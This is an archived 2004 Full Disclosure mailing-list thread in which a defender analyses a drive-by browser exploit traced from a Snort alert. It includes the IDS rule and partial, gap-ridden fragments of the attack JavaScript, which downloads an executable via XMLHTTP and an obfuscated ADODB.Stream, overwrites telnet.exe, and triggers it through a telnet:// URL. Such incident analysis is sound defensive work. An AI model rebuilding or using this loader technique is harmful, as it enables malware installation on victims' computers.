Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Re: telnet URL type used in exploit
From: Michael Hale <michael.hale () gmail com>
Date: Tue, 20 Jul 2004 23:30:24 -0400


Glad you asked. This was not something I wrote, rather something I
stumbled upon while investigating another exploit. It began with a
Snort alert per the following rule:

alert tcp any any -> $HOME_NET any (msg:"BLEEDING-EDGE Microsoft MHTML
URL Redirection Attempt"; flow:from_server,established;
content:"mhtml|3A|file|3A|"; nocase; )

Digging through proxy logs, I found the following pages, among others,
had been accessed by the victim PC:


The first php file contained this:


That caused the browser to dowload loader_adv74.js, which we will look
at in just a second. Finishing up with the first file, it also
contained this:


(Underscores to prevent poorly written IDS rules from alerting). You
are probably familiar with that; if not:


If that exploit is successful, the code within the decompressed x.chm
runs in the local security zone. Meanwhile, the set has been prepared
by downloading loader_adv.js. It contained the following function:

function getRealShell() {

It was this shellscript_adv74.js file that overwrites telnet.exe with
loadadv74.exe and asks the browser to fetch telnet://.

In this case it would make sense that the script will not exploit
patched browsers such as the one you tested with. It requires a
browser vulnerable to the MHTML exploit, which is how privileges to
overwrite telnet.exe are gained. You might assume that if someone
already has rights to do this, they could execute their code in
several other ways besides calling telnet://. I don't argue. I do
believe it was creative, though.

On Wed, 21 Jul 2004 12:25:33 +1000 (Australia/NSW), Darren Reed
<avalon () cairo anu edu au> wrote:

Out of curiosity, I tested this with IE 6.0.2800.1106.xpsp2.030422-1633
and got a popup box saying:

"This page is accessing information that is not under its
control. This poses a security risk. Do you want to
continue?" [Yes] [No]

And that was loading it into IE as a *local file*...when I put it on
a web page, I got the usual half dozen alerts about "do you want to run
javascript", etc. that even if I said yes to it didn't work.

Did you get that popup box when you tested your script below ?


In reply the discussion found at:


the consesus seems to be that there are no obvious ways to exploit the
mentioned URL types, such as tn3270, telnet, LDAP, rlogin etc. While
these may not be exploitable per se, they certainly are when used in
conjction with other known exploits. Take the following code for

var downloadurl="";;

if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1)

if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1)

payloadURL = downloadurl;

var x = new ActiveXObject("Microsoft.XMLHTTP");

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t"
+ "r" + "e" + "a" + "m"; }
var s = new ActiveXObject(bla());

s.Mode = 3;
s.Type = 1;

location.href = "telnet://";

The JavaScript overwrites telnet.exe with a downloaded executable and
then runs it by pointing the browser at telnet://. Instead of
launching a telnet shell as expected, the attackers code is executed.
This is not only an example of the telnet URL type being involved in
an exploit, but one that actually relies on it.

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]